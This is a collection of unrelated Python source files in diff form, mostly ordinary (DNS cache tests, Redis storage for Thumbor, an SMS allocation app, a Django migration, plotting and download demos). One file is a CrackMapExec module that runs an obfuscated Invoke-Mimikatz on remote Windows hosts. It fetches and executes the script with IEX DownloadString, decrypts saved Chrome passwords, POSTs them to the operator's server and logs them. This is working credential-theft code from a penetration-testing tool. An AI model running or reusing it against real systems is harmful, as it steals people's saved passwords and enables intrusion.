+
30
+ r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60,
31
+ dns.Record_A("127.0.0.1", 60))],
32
+ [dns.RRHeader("example.com", dns.A, dns.IN, 50,
33
+ dns.Record_A("127.0.0.1", 50))],
34
+ [dns.RRHeader("example.com", dns.A, dns.IN, 40,
35
+ dns.Record_A("127.0.0.1", 40))])
36
+
37
+ clock = task.Clock()
38
+ query = dns.Query(name="example.com", type=dns.A, cls=dns.IN)
39
+
40
+ c = cache.CacheResolver({ query : (clock.seconds(), r)}, reactor=clock)
41
+
42
+ # 40 seconds is enough to expire the entry because expiration is based
43
+ # on the minimum TTL.
44
+ clock.advance(40)
45
+
46
+ self.assertNotIn(query, c.cache)
47
+
48
+ return self.assertFailure(
49
+ c.lookupAddress("example.com"), dns.DomainError)
50
+
51
+
52
+ def test_normalLookup(self):
53
+ """
54
+ When a cache lookup finds a cached entry from 1 second ago, it is
55
+ returned with a TTL of original TTL minus the elapsed 1 second.
56
+ """
57
+ r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60,
58
+ dns.Record_A("127.0.0.1", 60))],
59
+ [dns.RRHeader("example.com", dns.A, dns.IN, 50,
60
+ dns.Record_A("127.0.0.1", 50))],
61
+ [dns.RRHeader("example.com", dns.A, dns.IN, 40,
62
+ dns.Record_A("127.0.0.1", 40))])
63
+
64
+ clock = task.Clock()
65
+
66
+ c = cache.CacheResolver(reactor=clock)
67
+ c.cacheResult(dns.Query(name="example.com", type=dns.A, cls=dns.IN), r)
68
+
69
+ clock.advance(1)
70
+
71
+ def cbLookup(result):
72
+ self.assertEquals(result[0][0].ttl, 59)
73
+ self.assertEquals(result[1][0].ttl, 49)
74
+ self.assertEquals(result[2][0].ttl, 39)
75
+ self.assertEquals(result[0][0].name.name, "example.com")
76
+
77
+ return c.lookupAddress("example.com").addCallback(cbLookup)
78
+
79
+
80
+ def test_cachedResultExpires(self):
81
+ """
82
+ Once the TTL has been exceeded, the result is removed from the cache.
83
+ """
84
+ r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60,
85
+ dns.Record_A("127.0.0.1", 60))],
86
+ [dns.RRHeader("example.com", dns.A, dns.IN, 50,
87
+ dns.Record_A("127.0.0.1", 50))],
88
+ [dns.RRHeader("example.com", dns.A, dns.IN, 40,
89
+ dns.Record_A("127.0.0.1", 40))])
90
+
91
+ clock = task.Clock()
92
+
93
+ c = cache.CacheResolver(reactor=clock)
94
+ query = dns.Query(name="example.com", type=dns.A, cls=dns.IN)
95
+ c.cacheResult(query, r)
96
+
97
+ clock.advance(40)
98
+
99
+ self.assertNotIn(query, c.cache)
100
+
101
+ return self.assertFailure(
102
+ c.lookupAddress("example.com"), dns.DomainError)
103
+
104
+
105
+ def test_expiredTTLLookup(self):
106
+ """
107
+ When the cache is queried exactly as the cached entry should expire but
108
+ before it has actually been cleared, the cache does not return the
109
+ expired entry.
110
+ """
111
+ r = ([dns.RRHeader("example.com", dns.A, dns.IN, 60,
112
+ dns.Record_A("127.0.0.1", 60))],
113
+ [dns.RRHeader("example.com", dns.A, dns.IN, 50,
114
+ dns.Record_A("127.0.0.1", 50))],
115
+ [dns.RRHeader("example.com", dns.A, dns.IN, 40,
116
+ dns.Record_A("127.0.0.1", 40))])
117
+
118
+ clock = task.Clock()
119
+ # Make sure timeouts never happen, so entries won't get cleared:
120
+ clock.callLater = lambda *args, **kwargs: None
121
+
122
+ c = cache.CacheResolver({
123
+ dns.Query(name="example.com", type=dns.A, cls=dns.IN) :
124
+ (clock.seconds(), r)}, reactor=clock)
125
+
126
+ clock.advance(60.1)
127
+
128
+ return self.assertFailure(
129
+ c.lookupAddress("example.com"), dns.DomainError)
pool/shard009/Python/0084195_rpc_request_message.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import json
2
+ import rpc_exception as exp
3
+
4
+
5
+ class RpcRequestMessage(object):
6
+ @classmethod
7
+ def loads(cls, raw_data):
8
+ try:
9
+ data = json.loads(raw_data)
10
+ return cls(data.get("version"), data.get("args"))
11
+
12
+ except ValueError as ex:
13
+ raise exp.RequestException(
14
+ "Unable to deserialize request: {}".format(ex.message)
15
+ )
16
+
17
+ @property
18
+ def version(self):
19
+ return self._version
20
+
21
+ @property
22
+ def args(self):
23
+ return self._args
24
+
25
+ def dumps(self):
26
+ return json.dumps({
27
+ "version": self._version,
28
+ "args": self._args
29
+ })
30
+
31
+ def __init__(self, version, args):
32
+ self._version = version
33
+ self._args = args
34
+
35
+ def __repr__(self):
36
+ return "<RequestMessage(version='{}', args='{}')".format(
37
+ self.version,
38
+ self.args
39
+ )
pool/shard009/Python/0084199_redis_storage.py ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+
3
+ import json
4
+ from datetime import datetime, timedelta
5
+ from redis import Redis, RedisError
6
+ from tc_redis.utils import on_exception
7
+ from tornado.concurrent import return_future
8
+ from thumbor.storages import BaseStorage
9
+ from thumbor.utils import logger
10
+
11
+
12
+ class Storage(BaseStorage):
13
+
14
+ storage = None
15
+
16
+ def __init__(self, context, shared_client=True):
17
+ '''Initialize the RedisStorage
18
+
19
+ :param thumbor.context.Context shared_client: Current context
20
+ :param boolean shared_client: When set to True a singleton client will
21
+ be used.
22
+ '''
23
+
24
+ BaseStorage.__init__(self, context)
25
+ self.shared_client = shared_client
26
+ self.storage = self.reconnect_redis()
27
+
28
+ def get_storage(self):
29
+ '''Get the storage instance.
30
+
31
+ :return Redis: Redis instance
32
+ '''
33
+
34
+ if self.storage:
35
+ return self.storage
36
+ self.storage = self.reconnect_redis()
37
+
38
+ return self.storage
39
+
40
+ def reconnect_redis(self):
41
+ if self.shared_client and Storage.storage:
42
+ return Storage.storage
43
+
44
+ storage = Redis(
45
+ port=self.context.config.REDIS_STORAGE_SERVER_PORT,
46
+ host=self.context.config.REDIS_STORAGE_SERVER_HOST,
47
+ db=self.context.config.REDIS_STORAGE_SERVER_DB,
48
+ password=self.context.config.REDIS_STORAGE_SERVER_PASSWORD
49
+ )
50
+
51
+ if self.shared_client:
52
+ Storage.storage = storage
53
+ return storage
54
+
55
+ def on_redis_error(self, fname, exc_type, exc_value):
56
+ '''Callback executed when there is a redis error.
57
+
58
+ :param string fname: Function name that was being called.
59
+ :param type exc_type: Exception type
60
+ :param Exception exc_value: The current exception
61
+ :returns: Default value or raise the current exception
62
+ '''
63
+
64
+ if self.shared_client:
65
+ Storage.storage = None
66
+ else:
67
+ self.storage = None
68
+
69
+ if self.context.config.REDIS_STORAGE_IGNORE_ERRORS is True:
70
+ logger.error("[REDIS_STORAGE] %s" % exc_value)
71
+ if fname == '_exists':
72
+ return False
73
+ return None
74
+ else:
75
+ raise exc_value
76
+
77
+ def __key_for(self, url):
78
+ return 'thumbor-crypto-%s' % url
79
+
80
+ def __detector_key_for(self, url):
81
+ return 'thumbor-detector-%s' % url
82
+
83
+ @on_exception(on_redis_error, RedisError)
84
+ def put(self, path, bytes):
85
+ storage = self.get_storage()
86
+ storage.set(path, bytes)
87
+ storage.expireat(
88
+ path, datetime.now() + timedelta(
89
+ seconds=self.context.config.STORAGE_EXPIRATION_SECONDS
90
+ )
91
+ )
92
+
93
+ @on_exception(on_redis_error, RedisError)
94
+ def put_crypto(self, path):
95
+ if not self.context.config.STORES_CRYPTO_KEY_FOR_EACH_IMAGE:
96
+ return
97
+
98
+ if not self.context.server.security_key:
99
+ raise RuntimeError(
100
+ "STORES_CRYPTO_KEY_FOR_EACH_IMAGE can't be True if no "
101
+ "SECURITY_KEY specified"
102
+ )
103
+
104
+ key = self.__key_for(path)
105
+ self.get_storage().set(key, self.context.server.security_key)
106
+
107
+ @on_exception(on_redis_error, RedisError)
108
+ def put_detector_data(self, path, data):
109
+ key = self.__detector_key_for(path)
110
+ self.get_storage().set(key, json.dumps(data))
111
+
112
+ @return_future
113
+ def get_crypto(self, path, callback):
114
+ callback(self._get_crypto(path))
115
+
116
+ @on_exception(on_redis_error, RedisError)
117
+ def _get_crypto(self, path):
118
+ if not self.context.config.STORES_CRYPTO_KEY_FOR_EACH_IMAGE:
119
+ return None
120
+
121
+ crypto = self.get_storage().get(self.__key_for(path))
122
+
123
+ if not crypto:
124
+ return None
125
+ return crypto
126
+
127
+ @return_future
128
+ def get_detector_data(self, path, callback):
129
+ callback(self._get_detector_data(path))
130
+
131
+ @on_exception(on_redis_error, RedisError)
132
+ def _get_detector_data(self, path):
133
+ data = self.get_storage().get(self.__detector_key_for(path))
134
+
135
+ if not data:
136
+ return None
137
+ return json.loads(data)
138
+
139
+ @return_future
140
+ def exists(self, path, callback):
141
+ callback(self._exists(path))
142
+
143
+ @on_exception(on_redis_error, RedisError)
144
+ def _exists(self, path):
145
+ return self.get_storage().exists(path)
146
+
147
+ @on_exception(on_redis_error, RedisError)
148
+ def remove(self, path):
149
+ self.get_storage().delete(path)
150
+
151
+ @return_future
152
+ def get(self, path, callback):
153
+ @on_exception(self.on_redis_error, RedisError)
154
+ def wrap():
155
+ return self.get_storage().get(path)
156
+
157
+ callback(wrap())
pool/shard009/Python/0084202_messaging.py ADDED
@@ -0,0 +1,199 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import datetime
2
+ import logging
3
+ from random import shuffle
4
+
5
+ from rq import Queue
6
+
7
+ from .run_worker_all import conn as qconn
8
+ from . import db_fieldbook as fieldbook, sms_creator
9
+ from .sms_twilio import send_sms
10
+ from .utils import mobile_number_string_to_int
11
+
12
+ # Get a logger
13
+ logger = logging.getLogger('slot')
14
+
15
+ # Set up RQ queue to add background tasks to
16
+ q_request = Queue('request', connection=qconn)
17
+ q_sms = Queue('sms', connection=qconn)
18
+ q_db = Queue('db', connection=qconn)
19
+ q = Queue(connection=qconn)
20
+
21
+ list_of_opportunities = []
22
+
23
+
24
+ def broadcast_procedure(procedure, location, doctor, ref_id, expiry_time):
25
+ response_code = ref_id
26
+ print(str.format("Ref is {0}", ref_id))
27
+ message = sms_creator.new_procedure_message(procedure, location, expiry_time, doctor, response_code)
28
+
29
+ recipients = fieldbook.get_students()
30
+ # Randomise the order of the student list so that messages not sent out in the same order every time
31
+ shuffle(recipients)
32
+ # Only take the first 50 students from the list to reduce the sample size for each offer
33
+ # recipients = recipients[:50]
34
+
35
+ message_count = 0
36
+
37
+ for recipient in recipients:
38
+ logger.debug("Queuing SMS")
39
+ logger.debug(recipient)
40
+ q_sms.enqueue(send_sms, recipient['mobile_number'], message)
41
+ message_count += 1
42
+
43
+ return message_count, response_code
44
+
45
+
46
+ def request_procedure(response_mobile, response_code):
47
+
48
+ try:
49
+ # Convert the mobile number string to an int
50
+ int_mobile_number = mobile_number_string_to_int(response_mobile)
51
+ # Try and retrieve the student details from the database using the mobile number
52
+ student = fieldbook.get_student_if_valid_else_none(int_mobile_number)
53
+
54
+ # If we can't find a student matching that mobile number, respond to say we don't know who they are.
55
+ if student is None:
56
+ q_sms.enqueue(send_sms,
57
+ response_mobile,
58
+ "Sorry - we don't recognise this mobile number.")
59
+
60
+ q_db.enqueue(fieldbook.add_response,
61
+ response_code,
62
+ 'Unknown',
63
+ response_mobile,
64
+ 'NOT_RECOGNISED')
65
+ return
66
+
67
+ elif student:
68
+ student_name = student['name']
69
+
70
+ except Exception as e:
71
+ logger.error("Error checking student identity", exc_info=True)
72
+
73
+ try:
74
+ # Get the status of the offer
75
+ offer = fieldbook.get_offer(response_code)
76
+
77
+
78
+ if offer is None:
79
+ q_sms.enqueue(send_sms,
80
+ response_mobile,
81
+ "Sorry - we didn't find an opportunity with this reference.")
82
+
83
+ q_db.enqueue(fieldbook.add_response,
84
+ response_code,
85
+ student_name,
86
+ response_mobile,
87
+ 'NOT_FOUND')
88
+ return
89
+
90
+ elif offer:
91
+
92
+ offer_expired = fieldbook.is_opportunity_expired(offer['opportunity_id'])
93
+
94
+ if offer_expired:
95
+ q_sms.enqueue(send_sms,
96
+ response_mobile,
97
+ 'Sorry - this opportunity has expired.')
98
+
99
+ q_db.enqueue(fieldbook.add_response,
100
+ response_code,
101
+ student_name,
102
+ response_mobile,
103
+ 'EXPIRED')
104
+ return
105
+
106
+ else:
107
+ offer_status = offer['status']
108
+ logger.debug('Status of Opportunity is {0}'.format(offer_status))
109
+
110
+ except Exception as e:
111
+ logger.error('Error getting the status of the offer', exc_info=True)
112
+ return
113
+
114
+ try:
115
+ # If the opportunity has already been allocated, notify the user
116
+ if offer_status == 'ALLOCATED':
117
+ logger.debug("Opportunity is already allocated.")
118
+
119
+ # Respond to the user and tell them that the opportunity has gone
120
+ q_sms.enqueue(send_sms,
121
+ response_mobile,
122
+ 'Sorry - this learning opportunity has been taken by another student.')
123
+
124
+ # Add their response to the Responses sheet
125
+ q_db.enqueue(fieldbook.add_response,
126
+ offer['opportunity_id'],
127
+ student_name,
128
+ response_mobile,
129
+ 'NOT_SUCCESSFUL')
130
+
131
+ return
132
+
133
+ # If the offer is still free, allocate it to the user and let them know
134
+ elif offer_status == 'UNALLOCATED':
135
+
136
+ # Attempt to allocate the opportunity
137
+ result = fieldbook.allocate_opportunity(offer['opportunity_id'], student_name)
138
+ logger.debug("Result of database commit was {0}".format( result))
139
+
140
+ this_opportunity = fieldbook.get_opportunity(offer['opportunity_id'])
141
+ logger.debug("This opportunity is {0}".format(this_opportunity))
142
+
143
+ message = str.format('Opportunity has been reserved for you.\n\n'
144
+ 'Attend {0} by {1}.\n\n'
145
+ 'Ask for {2} to complete this procedure.\n\n',
146
+ this_opportunity['location'],
147
+ datetime.datetime.fromtimestamp(this_opportunity['expiry_time']).strftime("%H:%M"),
148
+ this_opportunity['teacher'])
149
+
150
+ # Send a message to the user with confirmation and details of the opportunity
151
+ logger.debug('Notifying user')
152
+ q_sms.enqueue_call(func=send_sms,
153
+ args=(response_mobile,
154
+ message),
155
+ at_front=True)
156
+
157
+ # Add their response to the Responses sheet
158
+ logger.debug('Adding successful response to database')
159
+ q_db.enqueue(fieldbook.add_response,
160
+ offer['opportunity_id'],
161
+ student_name,
162
+ response_mobile,
163
+ 'successful')
164
+
165
+ # Update the offer status to reflect the fact that it's now been allocated
166
+ patch = {'status': 'ALLOCATED'}
167
+ logger.debug('Updating offer status to ALLOCATED')
168
+ fieldbook.update_record('offers',
169
+ offer['id'],
170
+ patch)
171
+
172
+ return
173
+
174
+ except Exception as e:
175
+ logger.error('Error responding to procedure request', exc_info=True)
176
+
177
+
178
+ def request_opt_out(response_mobile):
179
+
180
+ try:
181
+ # Convert the mobile number string to an int
182
+ int_mobile_number = mobile_number_string_to_int(response_mobile)
183
+ # Mark the student as inactive
184
+ fieldbook.disable_student(int_mobile_number)
185
+
186
+ except Exception as e:
187
+ logger.exception(exc_info=True)
188
+
189
+
190
+ def request_opt_in(response_mobile):
191
+
192
+ try:
193
+ # Convert the mobile number string to an int
194
+ int_mobile_number = mobile_number_string_to_int(response_mobile)
195
+ # Mark the student as inactive
196
+ fieldbook.enable_student(int_mobile_number)
197
+
198
+ except Exception as e:
199
+ logger.exception(exc_info=True)
pool/shard009/Python/0084205_0045_auto_20180607_1147.py ADDED
@@ -0,0 +1,36 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # -*- coding: utf-8 -*-
2
+ # Generated by Django 1.11.1 on 2018-06-07 11:47
3
+ from __future__ import unicode_literals
4
+
5
+ from django.db import migrations, models
6
+ import django.db.models.deletion
7
+
8
+
9
+ class Migration(migrations.Migration):
10
+
11
+ dependencies = [
12
+ ('consultorio', '0044_auto_20180531_1309'),
13
+ ]
14
+
15
+ operations = [
16
+ migrations.AlterField(
17
+ model_name='diagnosticoasignado',
18
+ name='consulta',
19
+ field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='consultorio.Consulta'),
20
+ ),
21
+ migrations.AlterField(
22
+ model_name='evoluciondiaria',
23
+ name='consulta',
24
+ field=models.OneToOneField(blank=True, on_delete=django.db.models.deletion.CASCADE, to='consultorio.Consulta'),
25
+ ),
26
+ migrations.AlterField(
27
+ model_name='historiaclinica',
28
+ name='consulta',
29
+ field=models.OneToOneField(blank=True, on_delete=django.db.models.deletion.CASCADE, to='consultorio.Consulta'),
30
+ ),
31
+ migrations.AlterField(
32
+ model_name='ordenmedica',
33
+ name='consulta',
34
+ field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='consultorio.Consulta'),
35
+ ),
36
+ ]
pool/shard009/Python/0084210_flags_seq.py ADDED
@@ -0,0 +1,66 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+
3
+ """Download flags of top 20 countries by population
4
+
5
+ Sequential version with no error checking.
6
+
7
+ Example from the book Fluent Python by Luciano Ramalho.
8
+
9
+ Sample run::
10
+
11
+ $ python3 flags.py
12
+ BD BR CD CN DE EG ET FR ID IN IR JP MX NG PH PK RU TR US VN
13
+ 20 flags downloaded in 6.63s
14
+
15
+ """
16
+
17
+ import os
18
+ import time
19
+ import sys
20
+
21
+ import requests
22
+
23
+ POP20_CC = ('CN IN US ID BR PK NG BD RU JP '
24
+ 'MX PH VN ET EG DE IR TR CD FR').split() # <2>
25
+
26
+ BASE_URL = 'http://flupy.org/data/flags'
27
+
28
+ DEST_DIR = 'downloads/'
29
+
30
+
31
+ def save_flag(img, filename):
32
+ path = os.path.join(DEST_DIR, filename)
33
+ with open(path, 'wb') as fp:
34
+ fp.write(img)
35
+
36
+
37
+ def get_flag(cc):
38
+ url = '{}/{cc}/{cc}.gif'.format(BASE_URL, cc=cc.lower())
39
+ resp = requests.get(url)
40
+ return resp.content
41
+
42
+
43
+ def show(text):
44
+ print(text, end=' ')
45
+ sys.stdout.flush()
46
+
47
+
48
+ def download_many(cc_list):
49
+ for cc in sorted(cc_list):
50
+ image = get_flag(cc)
51
+ show(cc)
52
+ save_flag(image, cc.lower() + '.gif')
53
+
54
+ return len(cc_list)
55
+
56
+
57
+ def main(download_many):
58
+ t0 = time.time()
59
+ count = download_many(POP20_CC)
60
+ elapsed = time.time() - t0
61
+ msg = '\n{} flags downloaded in {:.2f}s'
62
+ print(msg.format(count, elapsed))
63
+
64
+
65
+ if __name__ == '__main__':
66
+ main(download_many)
pool/shard009/Python/0084211_mimikatz_enum_chrome.py ADDED
@@ -0,0 +1,123 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from cme.helpers.powershell import *
2
+ from cme.helpers.logger import write_log
3
+ from datetime import datetime
4
+ from StringIO import StringIO
5
+
6
+ class CMEModule:
7
+ '''
8
+ Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords
9
+ Pros and cons vs the standard enum_chrome module:
10
+ + Opsec safe, doesn't touch disk
11
+ - Tends to error out and/or not decrypt all stored credentials (not sure why exactly, should work perfectly in theory)
12
+
13
+ Module by @byt3bl33d3r
14
+ '''
15
+
16
+ name = 'mimikatz_enum_chrome'
17
+ description = "Decrypts saved Chrome passwords using Mimikatz"
18
+ opsec_safe = True
19
+ multiple_hosts = True
20
+ supported_protocols = ['smb', 'mssql']
21
+
22
+ def options(self, context, module_options):
23
+ '''
24
+ '''
25
+
26
+ self.ps_script = obfs_ps_script('powersploit/Exfiltration/Invoke-Mimikatz.ps1')
27
+
28
+ def on_admin_login(self, context, connection):
29
+
30
+ '''
31
+ Oook.. Think my heads going to explode
32
+
33
+ So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
34
+ Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
35
+
36
+ As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt
37
+ the entries with Mimikatz, not ideal but it works.
38
+ '''
39
+
40
+ payload = '''
41
+ $cmd = "privilege::debug sekurlsa::dpapi"
42
+ $userdirs = get-childitem "$Env:SystemDrive\Users"
43
+ foreach ($dir in $userdirs) {{
44
+ $LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data"
45
+
46
+ if ([System.IO.File]::Exists($LoginDataPath)) {{
47
+ $rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}})
48
+ $temp_path = "$Env:windir\Temp\$rand_name"
49
+ Copy-Item $LoginDataPath $temp_path
50
+ $cmd = $cmd + " `"dpapi::chrome /in:$temp_path`""
51
+ }}
52
+
53
+ }}
54
+ $cmd = $cmd + " exit"
55
+
56
+ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
57
+ $creds = Invoke-Mimikatz -Command $cmd;
58
+ $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
59
+ $request.Method = 'POST';
60
+ $request.ContentType = 'application/x-www-form-urlencoded';
61
+ $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
62
+ $request.ContentLength = $bytes.Length;
63
+ $requestStream = $request.GetRequestStream();
64
+ $requestStream.Write( $bytes, 0, $bytes.Length );
65
+ $requestStream.Close();
66
+ $request.GetResponse();'''.format(server=context.server,
67
+ port=context.server_port,
68
+ addr=context.localip)
69
+
70
+ payload = create_ps_command(payload)
71
+ connection.execute(payload)
72
+ context.log.success('Executed payload')
73
+
74
+ def on_request(self, context, request):
75
+ if 'Invoke-Mimikatz.ps1' == request.path[1:]:
76
+ request.send_response(200)
77
+ request.end_headers()
78
+
79
+ request.wfile.write(self.ps_script)
80
+
81
+ else:
82
+ request.send_response(404)
83
+ request.end_headers()
84
+
85
+ def on_response(self, context, response):
86
+ response.send_response(200)
87
+ response.end_headers()
88
+ length = int(response.headers.getheader('content-length'))
89
+ data = response.rfile.read(length)
90
+
91
+ #We've received the response, stop tracking this host
92
+ response.stop_tracking_host()
93
+
94
+ if len(data):
95
+ buf = StringIO(data).readlines()
96
+ creds = []
97
+
98
+ try:
99
+ i = 0
100
+ while i < len(buf):
101
+ if ('URL' in buf[i]):
102
+ url = buf[i].split(':', 1)[1].strip()
103
+ user = buf[i+1].split(':', 1)[1].strip()
104
+ passw = buf[i+3].split(':', 1)[1].strip()
105
+
106
+ creds.append({'url': url, 'user': user, 'passw': passw})
107
+
108
+ i += 1
109
+ except:
110
+ context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
111
+
112
+ if creds:
113
+ context.log.success('Found saved Chrome credentials:')
114
+ for cred in creds:
115
+ if cred['user'] and cred['passw']:
116
+ context.log.highlight('URL: ' + cred['url'])
117
+ context.log.highlight('Username: ' + cred['user'])
118
+ context.log.highlight('Password: ' + cred['passw'])
119
+ context.log.highlight('')
120
+
121
+ log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
122
+ write_log(data, log_name)
123
+ context.log.info("Saved Mimikatz's output to {}".format(log_name))
pool/shard009/Python/0084213_scnet_semantic_head.py ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Copyright (c) OpenMMLab. All rights reserved.
2
+ from mmdet.models.builder import HEADS
3
+ from mmdet.models.utils import ResLayer, SimplifiedBasicBlock
4
+ from .fused_semantic_head import FusedSemanticHead
5
+
6
+
7
+ @HEADS.register_module()
8
+ class SCNetSemanticHead(FusedSemanticHead):
9
+ """Mask head for `SCNet <https://arxiv.org/abs/2012.10150>`_.
10
+
11
+ Args:
12
+ conv_to_res (bool, optional): if True, change the conv layers to
13
+ ``SimplifiedBasicBlock``.
14
+ """
15
+
16
+ def __init__(self, conv_to_res=True, **kwargs):
17
+ super(SCNetSemanticHead, self).__init__(**kwargs)
18
+ self.conv_to_res = conv_to_res
19
+ if self.conv_to_res:
20
+ num_res_blocks = self.num_convs // 2
21
+ self.convs = ResLayer(
22
+ SimplifiedBasicBlock,
23
+ self.in_channels,
24
+ self.conv_out_channels,
25
+ num_res_blocks,
26
+ conv_cfg=self.conv_cfg,
27
+ norm_cfg=self.norm_cfg)
28
+ self.num_convs = num_res_blocks
pool/shard009/Python/0084226_runtests.py ADDED
@@ -0,0 +1,40 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ import os
3
+ import sys
4
+
5
+ from django.conf import settings
6
+
7
+ DIRNAME = os.path.dirname(__file__)
8
+
9
+ settings.configure(
10
+ DEBUG=True,
11
+ DATABASES={
12
+ 'default': {
13
+ 'ENGINE': 'django.db.backends.sqlite3',
14
+ }
15
+ },
16
+ ROOT_URLCONF='omblog.tests.urls',
17
+ INSTALLED_APPS=(
18
+ 'django.contrib.auth',
19
+ 'django.contrib.contenttypes',
20
+ 'django.contrib.sessions',
21
+ 'django.contrib.admin',
22
+ 'omblog',
23
+ 'django_nose',
24
+ ),
25
+ NOSE_ARGS = [
26
+ '--with-coverage',
27
+ '--cover-package=omblog',
28
+ '--cover-xml',
29
+ '--verbosity=2',
30
+ ],
31
+ )
32
+
33
+ from django_nose import NoseTestSuiteRunner
34
+
35
+ test_runner = NoseTestSuiteRunner(verbosity=1)
36
+
37
+ failures = test_runner.run_tests(['omblog'])
38
+
39
+ if failures:
40
+ sys.exit(failures)
pool/shard009/Python/0084227_date_demo2.py ADDED
@@ -0,0 +1,46 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python
2
+ """
3
+ Show how to make date plots in matplotlib using date tick locators and
4
+ formatters. See major_minor_demo1.py for more information on
5
+ controlling major and minor ticks
6
+ """
7
+ import datetime
8
+ from pylab import figure, show
9
+ from matplotlib.dates import MONDAY, SATURDAY
10
+ from matplotlib.finance import quotes_historical_yahoo
11
+ from matplotlib.dates import MonthLocator, WeekdayLocator, DateFormatter
12
+
13
+
14
+ date1 = datetime.date( 2002, 1, 5 )
15
+ date2 = datetime.date( 2003, 12, 1 )
16
+
17
+ # every monday
18
+ mondays = WeekdayLocator(MONDAY)
19
+
20
+ # every 3rd month
21
+ months = MonthLocator(range(1,13), bymonthday=1, interval=3)
22
+ monthsFmt = DateFormatter("%b '%y")
23
+
24
+
25
+ quotes = quotes_historical_yahoo('INTC', date1, date2)
26
+ if len(quotes) == 0:
27
+ print 'Found no quotes'
28
+ raise SystemExit
29
+
30
+ dates = [q[0] for q in quotes]
31
+ opens = [q[1] for q in quotes]
32
+
33
+ fig = figure()
34
+ ax = fig.add_subplot(111)
35
+ ax.plot_date(dates, opens, '-')
36
+ ax.xaxis.set_major_locator(months)
37
+ ax.xaxis.set_major_formatter(monthsFmt)
38
+ ax.xaxis.set_minor_locator(mondays)
39
+ ax.autoscale_view()
40
+ #ax.xaxis.grid(False, 'major')
41
+ #ax.xaxis.grid(True, 'minor')
42
+ ax.grid(True)
43
+
44
+ fig.autofmt_xdate()
45
+
46
+ show()
pool/shard009/Python/0084233_dagda_cli_parser.py ADDED
@@ -0,0 +1,117 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
